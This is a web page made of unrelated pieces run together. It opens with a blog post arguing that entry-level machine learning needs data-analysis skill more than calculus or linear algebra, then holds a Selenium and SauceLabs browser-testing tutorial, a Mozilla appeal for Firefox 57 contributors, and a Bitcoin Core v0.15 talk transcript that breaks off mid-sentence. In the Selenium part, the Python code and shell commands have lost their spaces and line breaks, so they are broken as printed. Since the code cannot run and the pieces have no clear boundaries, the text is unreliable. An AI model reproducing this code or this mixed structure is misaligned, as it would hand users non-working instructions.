However, there are different incentives in an academic environment. Those incentives shape the mindset and work of people in academia differently than the incentives of people who work in industry. Moreover, the incentives shape the training of people entering academia: students in an academic environment are trained to be productive largely as scholars and researchers.

In an academic environment, individuals are rewarded (largely) for producing novel research, and in the context of ML, that truly does require a deep understanding of the mathematics that underlies machine learning and statistics.

In industry though, in most cases, the primary rewards aren’t for innovation and novelty. In industry, you’re rewarded for creating business value. In most cases, particularly at entry levels, this means applying existing, “off the shelf” tools. The critical fact here, is that existing tools almost all take care of the math for you.

“Off the shelf” tools take care of the math for you

Almost all of the common machine learning libraries and tools take care of the hard math for you. This includes R’s caret package as well as Python’s scikit-learn. This means that it’s not absolutely necessary to know linear algebra and calculus to get them to work.

There’s a good quote about this by Andrew Gelman in his highly regarded book on regression:

“Most books define regression in terms of matrix operations. We avoid much of this matrix algebra for the simple reason that it is now done automatically by computers …. [the computations] are important but can be done out of sight of the user.”

Keep in mind that Gelman is a very well regarded statistician. He’s a statistics professor at Columbia University (an Ivy League university) and he’s written several best-in-class books on topics like regression and Bayesian statistics. And while this quote deals specifically with regression, the same principle applies to machine learning, broadly speaking.

This point must be emphasized: modern statistical and machine learning software takes care of much of the mathematics for you.

This means that it’s possible for you to build a good predictive model without almost any knowledge of calculus or linear algebra. If you’re still not convinced of this, then take a careful look at An Introduction to Statistical Learning or Applied Predictive Modeling. These are two excellent books on machine learning (AKA, statistical learning; AKA, model building). There’s almost no calculus or linear algebra in either of them.

This is great news for a beginning data scientist who wants to get started with machine learning. You can call an R function from caret or a function from Python’s scikit-learn and it will take care of all of the mathematics for you. Knowing how all that mathematics works “under the hood” is neither necessary nor sufficient for building predictive models as a beginner.

To be clear, I’m not suggesting that these tools do all the work for you. You still need to be well-practiced at applying them. You need to have a solid understanding of the heuristics, best practices, and rules of thumb associated with making them work well. Again though, much of the knowledge required to make these tools perform well does not require matrix algebra and calculus.

Most data scientists don’t do much math

I think many beginners have an inaccurate image in their minds of what data scientists actually do. They imagine that data scientists spend their days pensively standing at a whiteboard, scribbling math equations between sips of coffee.

That’s just not accurate.

So how much math does a data scientist actually do?

If we’re talking about entry level data scientists to intermediate level data scientists, I’d estimate that they spend less than 5% of their time actually doing mathematics. And quite frankly, 5% is probably a bit generous.

Even if we talk about machine learning only, you’ll still only spend less than 5% of your time doing math. (And quite frankly, most entry-level data scientists won’t spend much of their time on ML.) When you build a model, you will spend very, very little time doing any math.

The reality is that in industry, data scientists just don’t do much higher level math.

But most data scientists do spend a huge amount of their time getting data, cleaning data, and exploring data. This applies both to data science generally, and machine learning specifically; and it particularly applies to beginners.

If you want to get started with machine learning, the real prerequisite skill that you need to learn is data analysis.

The main prerequisite for machine learning is data analysis

For beginning practitioners (i.e., hackers, coders, software engineers, and people working as data scientists in business and industry) you don’t need to know that much calculus, linear algebra, or other college-level math to get things done.

But you absolutely need to to know data analysis.

Data analysis is the first skill you need in order to get things done.

It’s the real prerequisite for getting started with machine learning as a practitioner.

(Note that as this post continues, I’m going to use the term “data analysis” as a shorthand for “getting data, cleaning data, aggregating data, exploring data, and visualizing data.”)

This is particularly true for beginners. Although at high levels there are some data scientists who need deep mathematical skill, at a beginning level – I repeat – you do not need to know calculus and linear algebra in order to build a model that makes accurate predictions.

But it will be nearly impossible to build a model if you don’t have solid skills with data analysis.

Even if you use “off the shelf” tools like R’s caret and Python’s scikit-learn – tools that do much of the hard math for you – you won’t be able to make these tools work without a solid understanding of exploratory data analysis and data visualization. In order to properly apply tools like caret and scikit-learn, you’ll need to be able to gather, prepare, and explore your data. You a need solid understanding of data analysis.

80% of your work will be data preparation, EDA, and visualization

It’s common knowledge among data scientists that “80% of your work will be data preparation.” This is true, although I want to clarify what this means. When people say that “80% of your work will be data preparation” that’s sort of a shorthand way of saying “80% of your work will be getting data (from databases, spreadsheets, flat-files), performing exploratory data analysis, reshaping data, visualizing data to find insights, and using EDA.”

While this figure is about data science in general, it also applies to machine learning specifically: when you’re building machine learning models, 80% of your time will be spent getting data, exploring it, cleaning it, and analyzing results (using data visualization).

To be a little more blunt about it, if you don’t know calculus and linear algebra, you can still build useful models, but if you aren’t really proficient with data analysis, you’re screwed.

For beginning practitioners, data hacking beats math

This isn’t just a glib statement. Many, if not most of the best data scientists and model-builders I know at several Fortune 500 companies aren’t particularly masterful at calculus, linear algebra or advanced math. But they are exceptional at data analysis.

Here’s a personal example: one of the best predictive modelers I’ve worked with knows very little advanced math.

To be clear, she has a PhD, but her PhD is in Social Psychology. She didn’t receive training in any serious math. Based on working with her and talking with her for several years, I’m confident that her knowledge of calculus and linear algebra was very, very limited.

But, she definitely knew her way around a dataset. She knew how to explore and prepare a dataset to make machine learning algorithms work in a practical setting.

To be fair, any person with a PhD in machine learning would have smoked her when it came to explaining the underlying mathematics. She would have withered under questioning about the deep mathematical underpinnings of k-means or support vector machines. But, those things weren’t her strengths. She was a true practitioner, and she was paid quite handsomely, because she made accurate predictions. No one gave a damn about her math chops. She got results, and clients paid.

I want to emphasize that this particular friend isn’t a unicorn. I know dozens of people like this (she’s just a good example). Moreover, these practitioners aren’t employed at a “low end” companies. They all work at places like Apple and other top-tier Fortune 500 companies; companies that are crushing their goals and generating huge profits. These people are solid employees at excellent companies.

Math is important, but not for entry level practitioners

Even as I write this, I’m imagining the hate-mail and condemnations from the people who would insist that you that you need lots of math.

So before I overstate my case, and potentially alienate a large group of people that I respect and admire, let me be clear: math is important. And in particular, there are some circumstances where math is very important.

First of all, math is particularly important if you’re doing machine learning research in an academic setting.

Second, in industry, math is also important for a small subset of more advanced data scientists. There are people in industry at high levels who are also using advanced math on a regular basis. In particular, there are people at companies like Google and Facebook who are pushing the boundaries of machine learning – people working on bleeding edge tools. These people almost certainly employ calculus, linear algebra, and more advanced math routinely in their work.

But in this article, I’m not talking about senior level data scientists working on cutting edge tools. And I’m not talking about academic work (as much as I admire academics and theorists for developing the techniques that we use on a daily basis).

I’m talking about entry level data scientists. I’m talking about people who are just getting started and trying to find a path at the very beginning stages.

Beginners do need some math for machine learning

I’ll also clarify and say that even for the beginners that I’m addressing in this article, you do need some math.

I’ll write my full advice in another blog post, but I’ll briefly summarize it here: to get started learning practical machine learning, an entry level data scientist needs to have basic comfort working with numbers, calculating percentages, etc. You need at least as much math skill as a college freshman at a good university. You’ll also need knowledge of basic statistics … about as much knowledge as you’d get in a basic “Introduction to Statistics” course. That is, you need to understand concepts like mean, standard deviation, variance, and other things you’d learn in an intro stats class.

However, when people tell you that you absolutely need to know calculus, differential equations, optimization theory, linear algebra, and more just to get started building machine learning models, this is flat out wrong.

Your first milestone: master data analysis

What does this mean for you, the beginning data scientist?

The take-away here is that for beginning data scientists and ML practitioners, data expertise beats math expertise. You’ll get much farther if you really know your way around a dataset, than if you know calculus and college-level math.

So if your goal is to get a job in business or industry, your first milestone is mastering data analysis.

It’s not mastering calculus.

It’s not being able to write proofs or grind through math problems.

It’s data analysis.

You need to master how to gather data, explore it, and prepare it. This means that you need to master data visualization and data wrangling (including aggregation). Then you need to be able to use data visualization and data wrangling together to be able to perform exploratory data analysis.

If you’re working in R, then I recommend that you learn the following:
– ggplot2 for data visualization, including basic visualizations like scatterplots, histograms, bar charts
– dplyr for aggregating and reshaping a dataset
– Learn how to use ggplot and dplyr together for exploratory data analysis

If you’re working in Python, learn the following:
– Base python
– Pandas, for aggregating and reshaping your data
– Matplotlib for data visualization. In particular, learn pyplot for basic visualizations, and use Seaborn for more advanced statistical graphics
– Learn to use Pandas and data visualizations together for exploratory data analysis.

If you’re a beginner, and you want to get started with machine learning, you can get by without knowing calculus and linear algebra, but you absolutely can’t get by without data analysis.

If you master data analysis, you’ll be well prepared to start building machine learning models that work.

The post The real prerequisite for machine learning isn’t math, it’s data analysis appeared first on SHARP SIGHT LABS.

Related

Back in April, I learned about Timestrap, a self-hostable, Django-based time-tracking project from a post on HackerNews by Isaac Bythewood. As I have been learning Python in the past year or so, I reached out to Isaac and started contributing to the project. After getting familiar with the core application, I turned my attention to testing and eventually found my way toSelenium, a collection of browser automation tools used for frontend testing.

I had never worked with Selenium or other automated testing products, so it struck me as a great opportunity to get my feet wet in something new. After getting things up and running, we quickly learned that the test results were quite inconsistent across development environments - even to a point that occasionally tests would succeed when run individually, but fail with the full test case.

After much trial and error, we have settled on a (mostly) consistent setup for testing with Selenium, Python and SauceLabs. This produces much better results than testing in development environments and crossing fingers during CI. Hopefully this primer will help others facing similar challenges (as we had a lot of trouble finding good material on the subject).

curl -L https://chromedriver.storage.googleapis.com/2.32/chromedriver_linux64.zip -o chromedriver.zipsudo mkdir -p /usr/local/bin/sudo unzip chromedriver.zip -d /usr/local/bin/sudo chmod +x /usr/local/bin/chromedriver

fromseleniumimportwebdriverdriver=webdriver.Chrome()

<article>
...<divclass="quick-def-box"><divclass="word-header"><divclass="word-and-pronunciation"><h1>confrere</h1>
          ...</div></div>
...</article>

fromseleniumimportwebdriverdriver=webdriver.Chrome()driver.get('https://www.merriam-webster.com/word-of-the-day')element=driver.find_element_by_css_selector('.word-and-pronunciation h1')print(element.text)driver.close()

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportBydriver=webdriver.Chrome()driver.get('https://www.merriam-webster.com/word-of-the-day')element=driver.find_element(By.CSS_SELECTOR,'.word-and-pronunciation h1')print(element.text)driver.close()

deffind(self,by,value):elements=self.driver.find_elements(by,value)iflen(elements)is1:returnelements[0]else:returnelements

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportBydriver=webdriver.Chrome()driver.get('https://www.wikipedia.org/')el=driver.find_element(By.ID,'searchInput')el.send_keys('Python')

form=driver.find_element(By.ID,'search-form')form.submit()

button=driver.find_element(By.CSS_SELECTOR,'#search-form button')button.click()

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.common.keysimportKeysdriver=webdriver.Chrome()driver.get('https://www.wikipedia.org/')el=driver.find_element(By.ID,'searchInput')el.send_keys('Python')el.send_keys(Keys.RETURN)

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.common.keysimportKeysdriver=webdriver.Chrome()driver.get('https://www.google.com/')el=driver.find_element(By.NAME,'q')el.send_keys('selenium')el.send_keys(Keys.RETURN)

el=driver.find_element(By.NAME,'q')el.clear()

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.common.keysimportKeysdefclear(element):value=element.get_attribute('value')iflen(value)>0:forcharinvalue:element.send_keys(Keys.BACK_SPACE)driver=webdriver.Chrome()driver.get('https://www.google.com/')el=driver.find_element(By.NAME,'q')el.send_keys('selenium')el.send_keys(Keys.RETURN)el=driver.find_element(By.NAME,'q')clear(el)

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.common.keysimportKeysdriver=webdriver.Chrome()driver.get('https://www.github.com/')el=driver.find_element(By.NAME,'query')

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.common.keysimportKeysdriver=webdriver.Chrome()driver.implicitly_wait(5)driver.get('https://www.github.com/')el=driver.find_element(By.NAME,'query')

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.support.uiimportWebDriverWaitfromselenium.webdriver.supportimportexpected_conditionsasecdriver=webdriver.Chrome()WebDriverWait(driver,5).until(ec.presence_of_element_located((By.ID,'html-id')))

fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.support.uiimportWebDriverWaitfromselenium.webdriver.supportimportexpected_conditionsasecdriver=webdriver.Chrome()driver.get('http://www.webcountdown.net/?c=3')# Starts a 3 second timer.ifWebDriverWait(driver,5).until(ec.presence_of_element_located((By.ID,'popupiframe'))):print('Popup located!')

fromseleniumimportwebdriverfromselenium.webdriver.support.uiimportWebDriverWaitdefwait(self,seconds):try:WebDriverWait(self.driver,seconds).until(lambdadriver:1==0)exceptTimeoutException:pass

export SAUCE_USERNAME={sauce-username}export SAUCE_ACCESS_KEY={sauce-access-key}

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

importosfromseleniumimportwebdriver# Get the user name and access key from the environment.sauce_username=os.environ['SAUCE_USERNAME']sauce_access_key=os.environ['SAUCE_ACCESS_KEY']# Build the command executor URL.url='http://{}:{}@ondemand.saucelabs.com/wd/hub'.format(sauce_username,sauce_access_key)# Build the capabilities dictionary (from Platform Configurator).caps={'browserName':"chrome"}caps['platform']="Linux"caps['version']="48.0"driver=webdriver.Remote(command_executor=url,desired_capabilities=caps)driver.get('https://www.google.com')driver.quit()

caps['chromeOptions']={'prefs':{'credentials_enable_service':False,'profile':{'password_manager_enabled':False}}}

wget https://saucelabs.com/downloads/sc-4.4.9-linux.tar.gzsudo mkdir -p /usr/local/bin/tar xzf sc-4.4.9-linux.tar.gzmv sc-4.4.9-linux/bin/sc /usr/local/bin/sudo chmod +x /usr/local/bin/scsc --version#Sauce Connect 4.4.9, build 3688 098cbcf -dirty

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

importosimportthreadingimporttimeimportunittestfromhttp.serverimportBaseHTTPRequestHandler,HTTPServerfromseleniumimportwebdriverfromselenium.webdriver.common.byimportByclassTestHandler(BaseHTTPRequestHandler):defdo_GET(self):self.send_response(200)self.send_header('Content-type','text/html')self.end_headers()self.wfile.write(b'<html><head><title>Python Selenium!</title></head>')self.wfile.write(b'<body><div id="main">Hello!</div></body>')self.wfile.write(b'</body></html>')classTestRequest(unittest.TestCase):@classmethoddefsetUpClass(cls):server=HTTPServer(('127.0.0.1',8000),TestHandler)cls.server_thread=threading.Thread(target=server.serve_forever,daemon=True)cls.server_thread.start()time.sleep(1)sauce_username=os.environ['SAUCE_USERNAME']sauce_access_key=os.environ['SAUCE_ACCESS_KEY']url='http://{}:{}@ondemand.saucelabs.com/wd/hub'.format(sauce_username,sauce_access_key)caps={'browserName':"chrome"}caps['platform']="Linux"caps['version']="48.0"cls.driver=webdriver.Remote(command_executor=url,desired_capabilities=caps)@classmethoddeftearDownClass(cls):cls.driver.quit()deftest_request(self):self.driver.get('http://127.0.0.1:8000')self.assertEqual('Hello!',self.driver.find_element(By.ID,'main').text)if__name__=='__main__':unittest.main()

<html><head><title>Python Selenium!</title></head><body><divid="main">Hello!</div></body></html>

export SAUCE_USERNAME={sauce-username}export SAUCE_ACCESS_KEY={sauce-access-key}python tests.py#E#======================================================================#ERROR: test_request (__main__.TestRequest)#----------------------------------------------------------------------#Traceback (most recent call last):#[...]#selenium.common.exceptions.NoSuchElementException: Message: no such element: Unable to locate element: {"method":"id","selector":"main"}#(Session info: chrome=48.0.2564.97)#(Driver info: chromedriver=2.21.371459 (36d3d07f660ff2bc1bf28a75d1cdabed0983e7c4),platform=Linux 3.13.0-83-generic x86)#[...]

export SAUCE_USERNAME={sauce-username}export SAUCE_ACCESS_KEY={sauce-access-key}sc &#[...]#Sauce Connect is up, you may start your tests.python tests.py#[...]#.#----------------------------------------------------------------------#Ran 1test in 6.026s##OK

If you follow Firefox development over the last year, you probably know that we’re hard at work on a major refactor of the browser, codenamed Quantum.

It’s been a very exciting and challenging time when hundreds of engineers have been bringing to life new concepts and incorporating them into our engine– Gecko. Those refactors, which culminate in the release of Firefox 57, touch the very foundation of our engine and require massive changes to it.

We’ve moved the whole engine from single to multi-process model which is perhaps the hardest possible refactor a major piece of software through. We’ve added a whole new systems level programming language, we’re replacing major components of the engine such as styling and rendering systems. There are substantial changes to our networking layer, security layers as well as completely new components like new extension ecosystem, virtual reality stack and APZ. We’ve added another new programming language as part of our JS engine and significantly remodeled our build process and infrastructure allowing for quick feature testing, telemetry analysis to understand how our changes impact users and many, manymore things.

The changes are massive. The largest refactor to Gecko and Firefox in my 17 years of contributing to the project. But we’re not done yet…

The Last 3 weeks

As of today, we’re  3 weeks, or 24 days, away from branching Firefox 57 to beta.

All major pieces are falling in places and are either already enabled, or will be soon. Some items may slip to 58 or 59, but vast majority of the effort is on the last lap toward the finish line.

The Firefox Nightly as of today is an exciting software to try. It’s astonishing how much it changed since January and I believe that anyone working on the Web ecosystem will have fun playing with it.

How can you help?

We have 3 more weeks to soften the rough edges, find and fix bugs and edge cases, fix any paper cuts and do all those small things that help complete the ultimate experience of using Firefox 57. To make it the best web browser on the planet. How?

Here comes you.

One of the most amazing aspects of Firefox project is that it’s a truly open source project. It is developed fully in the open, in an inclusive process that allows for anyone with the right skills join and help. And due to technologies we use, anyone with CSS, JS, HTML, React, Python, C++ or Rust skills can help us! Heck, even without them, there are little and big things you can do.

My main work is related to Localization and Internationalization layer at Mozilla, but over the last few months I’ve dedicatedsomeof my timetohelp Firefox 57 release and realized that many people I know have the skills to help us and would most likely be interested in the challenge, but don’t know that they can!

There are hundreds of projects at Mozilla and almost all of them are open to contributors, but since we’re talking specifically about Firefox 57 release, I created a list of tasks that vary in complexity, time investment and skills required, but all are excellent entry points to contribute to one of the biggest software projects in the World and are available for grabs!

Notice, we’re at the point where we can mentor you by helping you apply your skills in the context of Firefox project, but we’re not in a position to mentor you in acquiring the basic skills needed for the tasks below.

Quality Assurance

Skills involved: Using testing version of the product as your main browser

The simplest, and yet the most important thing you can do is download Firefox Nightly and use it as your daily driver. It’s a very stable browser, and in my years of using it I’ve maybe encountered once or twice a problem that blocked me from work. There are occasional minor hiccups, like a color of the UI item being off, or tab drag&drop being glitchy, but those kind of small issues never impacted me that much and they’re usually fixed within a few hours.

Having a large and diverse userbase of the Nightly version allows us to collect the anonymized usage data. Things like “how many tabs users have open”, “how fast the browser starts”, “how fast pages render” etc. are crucial for our ability to notice the impact of the changes we land quickly and react if needed.

If we land a substantial change to how our HTTP2 stack operates and 6 hours later we see that average load time jumped by 30ms, we know we need to revert that change. But we can’t always see it in our labs, since we cannot replicate the vast diversity of the Web. The way people use the Web in India, China, Tunisia and Canada on slow and fast computers differ too much. Real life data is the best shot we have at ensuring the quality of the end product spans across different demographics.

So download Firefox Nightly, turn on telemetry data (we don’t collect any personal information) and use it as your browser over the next 5 weeks!

Reporting Problems

Skills involved: Taking screenshots, writing summaries and steps to reproduce

Mozilla is using a major open task system called Bugzilla. All our engineering goes through it and whenever we notice a problem, or work on a new feature, we file a ticket. That means that if you notice a problem, you can file a ticket as well.

Every time you notice Firefox misbehaving, or something not fitting well with your operating system, or a feature missing, or an icon shifted two pixels too far to the right, is the right time to file a new bug.

We can’t promise we’ll fix all of them. Some things are too risky to change, some others may be made this way on purpose. Sometimes we’ll disagree with you, or find out that there’s already a ticket filed for this issue.

But it’s way, way better to have too many reports and have to triage them, than to have too few.

So please, report everything you notice while using Firefox Nightly!

Photon

Skills involved: CSS, JavaScript, HTML

Together with the low level changes to the engine come new user interface codenamed Photon.

Photon is an application of our Design System and allows us to refresh the product, better align it with the modern design model of operating systems, todays web, and help us link the engine improvements to experience of using the product.

Over last 13 weeks, there has been a Photon Newsletter released which will give you an idea how the new Firefox UI is being developed.

Since the UI is written in major parts in JavaScript and CSS and an HTML-like language called XUL, anyone with webdev skills can improve it!

There’s a handy list of tasks related to our UI that are up for grabs. Some of them are simple, like updating CSS rules to match the new design system, others require an hour or two of JS coding to switch from mouseup to mousedown event handlers on a button. There may also be some rabbit holes that look easy, but may suck you in for longer, but no matter if you have 6 months or 10 years of experience, if you have a couple hours to spare or a whole weekend, you will find something for yourself there.

Up for grabs lists:

Contributing to Firefox requires you to be able to build it with your changes. Fortunately, we now have so called “artifact builds” that allow you to only have to rebuild the front end code (which is fast), and should be enough to contribute to Photon!

So look at the list, pick a bug and help us make Firefox UI awesome!

Quantum Flow

Skills involved: JavaScript, C++

One of the most exciting projects from the Quantum family is Quantum Flow. While working on Firefox 57 we realized that there are many issues that do not completely fit into a single module like DOM, JavaScript Engine, Rendering or Layout. Those problems span across components, often come as result of imperfect complex interactions between them, and are only identifiable by their end result like “Pressing a button takes 600ms longer than it should”.

People working on QF are doing an engineering equivalent of Sherlock Holmes job, profiling the various aspects of the codebase, trying to find out which pieces of code, when fired in a particular fashion result in the problem and then try to untie the knot between them.

There are many Quantum Flow bugs that are triaged as right below the threshold of importance and will not get time from the main QF engineers, but if you’re up for the challenge, could be solved by you!

Many of the bugs may look cryptic initially, but a lot of the easier ones often boils down to just changing the JavaScript code to do asynchronous File I/O instead of synchronous.

On that list P1 means “Priority 1”, while P3 means “Priority 3” – bugs that do not have an assignee in P1 are very important so if you think you can help with any of them, please do! Bugs with P3 may be easier but are unlikely to get attention from the main engineers before 57 release, so if you think you can take any of them, take it.

So look at the list, pick a bug, and help us make Firefox fast and snappy!

DevTools

Skills involved: JavaScript, CSS, React

Our Developer Tools are what makes or breaks the experience of using a web browser for anyone working on the Web technologies. Thanks to an enormous effort, our devtools are now written in plain modern webstack– React, JS, CSS and HTML!

That means that if you are a web developer, you can most certainly help make the DevTools better for yourself and others.

With good devtools we can attract developers to Firefox. With great devtools we can help them make the Web better!

So look at the list, pick a bug, and help us make the DevTools awesome!

Localization

Skills involved: Good language skills

To make the Web reflect the diversity of languages around the World, we need both websites and web browsers reflect the multitude of languages used by people.

Localizing Firefox to every language on the planet makes the Web more accessible to people from all cultures around the World helping them learn and experience the Web through an independent product not created for any corporation’s profit.

So join any of the existing localization teams, or create a new one and let’s make Firefox speak all languages on the planet (my request: Sindarin)!

Documentation

Skills involved: Writing, Editing

With many new users coming to Firefox and many changes to our systems and APIs, there’s a lot of work happening around documentation.

Good documentation helps people understand the product better, build Firefox for the first time, contribute to it, write new extensions or learn how to fix their issues at scale.

So open any of the docs, hit edit, and help us make Firefox documentation as good as the product!

Integrations

Skills involved: Expertise in any system that Firefox interacts with

Web Browser does not operate in an isolated environment. It’s a very unique piece of technology that exists somewhere between operating system, hardware UX and the largest ecosystem or applications – the Web.

We’re experts at Gecko and Firefox, but you are an expert in your ecosystem. If it anyhow interacts with Firefox, you can help us make this integration better!

Those things may vary – maybe you know GTK, Mac OS or WinAPI and can help us with OS integration? Maybe you know assistive technologies, have experience in bidirectional layouts, know how to profile performance on MacOS, know how high-contrast should work? All and many other skills can be put to use to make Firefox better work with those systems.

So bring your skills, we’ll help you with the Mozilla code. Together we can make those inter-system interactions complete!

All Hands on Deck

Here’s my request. Over the next 3 weeks, consider booking some of your time to help us make Firefox 57 great for you and for your friends. It can be as little as an hour per week, or half of your Saturday, or maybe more.

We can all make real impact and help those major improvements developed by the whole Mozilla project really shine with help of the final touches from folks like us. There are several hundred backlog items. If we can get a hundred contributors each fix one bug per week, we’ll fix them all!

And in 5 weeks, we can send off Firefox 57 to beta knowing we all contributed to make the Web a healthy ecosystem and participated in the release of an amazing product.

Happy hacking! 🙂

p.s. If you need any help, jump on IRC, do not hesitate to ask and if needed, ping me personally (nickname “gandalf” on #developers). I’ll do my best to mentor you through your first task!

A deep dive into Bitcoin Core v0.15

Greg Maxwell

2017-08-28

video: https://www.youtube.com/watch?v=nSRoEeqYtJA

slides: https://people.xiph.org/~greg/gmaxwell-sf-015-2017.pdf

https://twitter.com/kanzure/status/903872678683082752

git repo: https://github.com/bitcoin/bitcoin

preliminary v0.15 release notes (not finished yet): http://dg0.dtrt.org/en/2017/09/01/release-0.15.0/

Alright let's get started. There are a lot of new faces in the room. I feel like there's an increase in excitement around bitcoin right now. That's great. For those of you who are new to this space, I am going to be talking about some technical details here, so you'll get to drink from the firehose. And if you don't understand something, feel free to ask me questions, or other people in the room after the event, because there are a lot of people here who know a lot about this stuff.

So tonight I'd like to start off by talking about the new cool stuff in Bitcoin Core v0.15 which is just about to be released. And then I am going to open up for open-format question and answer and maybe we'll have some interesting discuss.

First thing I want to talk about for v0.15 is system number wise breakdown. What kind of activities go into bitcoin development these days? I am going to talk about the major themes and major improvements, things about performance, wallet features, and talk a little bit about this service bit disconnection thing, which is a really minor and obscure thing but it created some press and I think there's a lot of misunderstanding about it. And then I am going to talk about some of the future work that is not in v0.15 that will be in future versions that I think is interesting.

Quick refresher on how Bitcoin Core releases work. So there's this master trunk branch of bitcoin development. And releases are branched off of it and then new fixes go into that releases are written into the master branch and then copied into the release branches. This is a pretty common process for software development. What this means is that features that are in v0.15 are a lot of them are also in v0.14.2 and v0.14 because v0.15 started with the release of v0.14.0 not with the release of v0.14.2. So back in February this year, v0.14 branched off, and in March v0.14.0 was released. In August, v0.15 branched off, and we had two release candidates, and there's a third that should be up tonight or tomorrow morning, and we're expecting the full release of v0.15 to be around the 14th or 15th, and we expect it to be delayed due to developers flying around and not having access to their cryptographic keys. Our original target date was September 1st, so two week slip there, unfortunate but not a big deal.

Just some raw numbers. What kind of levels of activities are going into bitcoin development these days? Well, in the last 185 days, which is the development of v0.15, there were 627 pull requests merged on github. So these are individual high-level changes. Those requests contained 1,081 non-merge commits by 95 authors, which comes out to 6 commits per day which is pretty interesting compared to other cryptocurrency projects. One of the interesting things about v0.15 is that 20% of the commits are test-related, so they were adding or updating tests. And a lot of those actually came from jnewbery, a relatively new contributor who works at Chaincode Labs. His first commit was back in November 2016 and he was responsible for half of all the test-related commits and he was also the top committer. And then it falls down from there, lots of other people, a lot of contributions, and then a broad swath of everyone else. The total number of lines changed was rather large, 52k lines inserted. This was actually mostly introduction of new tests. That's pretty good, we have a large backlog of things that are under-tested, for our standards... there's some humor there because Bitcoin Core is already relatively well-tested compared to most software. All of this activity results in about 3k lines changed per week to review. For someone like me, who does most of his contributions in the form of review, there's a lot of activity to keep up with.

So in v0.15, we had a couple of big areas of focus. As always, but especially in v0.15, we had a big push on performance. One of the reasons for this is that the bitcoin blockchain is growing, and just keeping up with that growth requires the software to get faster. But also, with segwitcomingonline, we knew that the blockchain would be growing at an even faster rate, so there was a desire to try to squeeze out all the performance we could, to make up for that increase in capacity.

There were some areas that were polished and problem areas that were made a little more reliable. And there were some areas that we didn't work on-- such as new consensus rules, we've been waiting to see how segwit shakes out, so there hasn't been big focus on new consensus rules. There were a bunch of wallet features that we realized that were easier with segwit, so we held off on implementing those. There are some things that were held back, waiting for segwit, and now they can move forward at a pretty good speed.

One of the important performance improvements is that we have completely reworked the chainstate database in Bitcoin Core. The chainstate database is what stores the information that is required to validate new blocks as they come in. This is also called the UTXO set. The current structure we've been using has been around since v0.80, and when it was introduced the disk structure, which has a separate database of just the information required to validate blocks, was something like a 40x performance improvement. That was an enormous performance improvement from what we had. So this new update is improving this further.

The previous structure we often talk about as a per-output database. So this is a UTXO database. People think of it as tracking every output from every transaction as a separate coin. But that's not actually how it was implemented on the backend. The backend system previously batched up all outputs for a single transaction to a single record in the database and stored those together. Back at the time of v0.80, that was a much better way of doing it. The usage patterns and the load on the bitcoin network changed since then, though. The batching saved space because it shared some of the information, like height of a transaction, whether or not it's a coinbase transaction, and the txid shared among all the outputs. One of several problems wth this is that when you spend the outputs, you have to read them all and write them back, and this creates a quasi-quadratic blow-up where a lot more work is required to modify transactions with many outputs. It also made the software a lot more complicated. If a pure utxo database only had to create outputs and delete them when you spend, but the merging form in the past supported modifications, such as spending some of the outputs but saving the rest back. This whole process resulted in considerable memory overhead.

We have changed to a new structure where we store one record per txout. This results in a 40% faster sync, so it's a big performance improvement. This is 10% less memory for the same number of cache entries, so you can have larger caches but same amount of memory on your system, or you can run Bitcoin Core on a machine with less memory than you could have before. This 40% was given on a host with very fast disks, but if you're going to run the software on a computer with slow media such as spinning disks or USB or something like that, then I would expect to see faster results even beyond 40% but I haven't benchmarked.

There's a downside, though, which is that it makes the database larger on disk. 15% chainstate size increase (2.8 GB now). So there's a 15% increase in the chainstate directory. But this isn't really a big deal.

Here's a visualization of the trade. In the old scheme you had this add, modify, modify, delete operation sequence. So you had three outputs, one gets spent, another spent, and then you delete the rest. And the new way, which is what people thought it was doing all along. This same structure has been copied into other alternative implementations so btcd, bcoin, these other implementations copied the same structure as from Bitcoin Core so they all work like the original v0.80 method.

This is a database format change, so there's a migration process when you start v0.15 on an older host it will then migrate to a new format. On a fast system this takes 2-3 minutes, but on a raspberry pi this is going to take a few hours. Once you run v0.15 on a node, in order to go back to an older version of bitcoind, you will have to do a chainstate reindex and that will take you hours. There's a corner case where if you ran Bitcoin Core master in the couple week period from when we introduced this until we improved it a bit, your chainstate directory may have become 5.8 GB in size, so double size, and that's because leveldb the underlying backend database was not particularly aggressive about removing old records. There's a hidden forcecompactdb option that you can run as a one-time operation that will shrink the database back to its size. So if you see that you have a 5.8 GB chainstate directory, run that command and get it back to what it should be.

The graph at the bottom here is showing the improvements from this visually, and it's a little strange to read. The x-axis is progress in terms of what percent of the blockchain was synced. And on the first graph, the y-axis is showing how much time has passed. This purple line at the top is the older code without the improvement, but if you look early on in the history, the difference isn't as large. The lower graph here is showing the amount of data stored in the cache at a point in time. So you see the data increasing, then you see it flush the cache to disk and it goes to nothing, and so on. If you see the purple line there, it's flushing very often as it gets further along in synchronization, and it's flushing frequently over here so that it doesn't have to do as much I/O.

Since this change is really a change at the heart of the consensus algorithm in bitcoin, we had some very difficult challenges related to testing it. We wouldn't want to deploy a change that would cause it to corrupt or lose records, because that would cause a network split or network partition. So major consensus critical part of the system. This redo, actually, had a couple of months of history before it was made public where Pieter Wuille was working on it in private, trying a couple of different designs. Some of his work was driven by his work on the next feature that I am going to talk about in a minute. But once it was made public, it had 2 months of public review, there were at least 145 comments on it, people going through and reviewing the software line by line, asking questions, getting comments improved and things like that. This is an area of the software where we already had pretty good automated testing for it. We also added some new automated tests. We also used a technique called mutation testing, where basically we took the updated copy of bitcoin in its new tests, and we went line by line through the software and everywhere we saw a location where a byte could have occurred-- such as every if-branch that could have been inverted, or every zero that could have been a one, and every add could be a subtract-- we made each bug in term, and ran the tests, and verified that every change to the software would make the tests 